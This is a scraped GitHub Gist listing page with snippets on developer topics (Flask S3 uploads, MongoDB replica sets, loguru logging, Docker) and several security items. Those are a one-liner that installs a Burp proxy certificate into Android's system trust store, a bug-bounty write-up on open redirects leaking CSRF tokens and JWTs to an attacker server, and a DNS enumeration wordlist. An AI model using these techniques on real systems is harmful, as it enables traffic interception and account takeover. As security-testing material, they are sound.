Skip to content

Instantly share code, notes, and snippets.

View j0eii's full-sized avatar
🎯
Focusing

- j0eii

🎯
Focusing
View GitHub Profile
############################################################################################################
################## #############################
################## #############################
This Gist collection contains all localstack related examples
################## #############################
################## #############################
############################################################################################################
@bergmannjg
bergmannjg / rearct-native-app-in-wsl2.md
Last active April 15, 2024 20:23
Building a react native app in WSL2
@leongjinqwen
leongjinqwen / upload-to-aws-flask.md
Created January 23, 2020 15:32
upload files to aws s3 bucket with flask

Upload files to AWS

Make sure you already have S3 bucket, access key and secret key before go through this notes.

How to connect to AWS?

Boto3 allows Python developers to write software that makes use of services like Amazon S3 and Amazon EC2.

Step 1: Install boto3 with pip

pip install boto3
@vavkamil
vavkamil / android-burp-cert.sh
Created September 10, 2019 14:47
One Liner For Installing Burp Certificate Into Android Nougat and Later
# https://securitychops.com/2019/08/31/dev/random/one-liner-to-install-burp-cacert-into-android.html
#
curl --proxy http://127.0.0.1:8080 -o cacert.der http://burp/cert \
&& openssl x509 -inform DER -in cacert.der -out cacert.pem \
&& cp cacert.der $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 \
&& adb root \
&& adb remount \
&& adb push $(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /sdcard/ \
&& echo -n "mv /sdcard/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0 /system/etc/security/cacerts/" | adb shell \
&& echo -n "chmod 644 /system/etc/security/cacerts/$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1).0" | adb shell \
@harveyconnor
harveyconnor / a-mongodb-replica-set-docker-compose-readme.md
Last active April 7, 2024 08:06
MongoDB Replica Set / docker-compose / mongoose transaction with persistent volume

This will guide you through setting up a replica set in a docker environment using.

  • Docker Compose
  • MongoDB Replica Sets
  • Mongoose
  • Mongoose Transactions

Thanks to https://gist.github.com/asoorm for helping with their docker-compose file!

@noplanman
noplanman / upgrade-nghttp2
Last active November 17, 2020 23:50
Upgrade nghttp2 for brew with a fix for older MacOS versions
#!/usr/bin/env bash
# Update brew repo.
printf "%s" "Updating brew repo..."
brew update &> /dev/null
echo "✅"
# Get the currently installed and new version of nghttp2.
printf "%s" "Fetch installed and stable nghttp2 versions..."
VERSION_INSTALLED="$(brew list --versions | grep nghttp2 | awk '{print $2}')"

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

  1. There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
  2. User loads https://example.com/?code=VALUE
  3. Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
    GET /verify/VALUE HTTP/1.1
    Host: example.com
    
@carlosjgp
carlosjgp / Dockerfile-1
Created April 30, 2019 11:32
Docker file ownership issue
FROM busybox
ARG PUID=1000
ARG PGID=1000
RUN addgroup -g ${PGID} abc && \
adduser -D -u ${PUID} -G abc abc
USER abc
@M0r13n
M0r13n / README.md
Last active January 30, 2024 19:35
Logging with Loguru in Flask

This is a simple example of how to use loguru in your flask application

Just create a new InterceptHandler and add it to your app. Different settings should be configured in your config file, so that it is easy to change settings.

Logging is then as easy as:

from loguru import logger

logger.info("I am logging from loguru!")

@jhaddix
jhaddix / all.txt
Created January 19, 2019 04:35 — forked from orangetw/all.txt
all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/
This file has been truncated, but you can view the full file.
.
..
........
@
*
*.*
*.*.*
🐎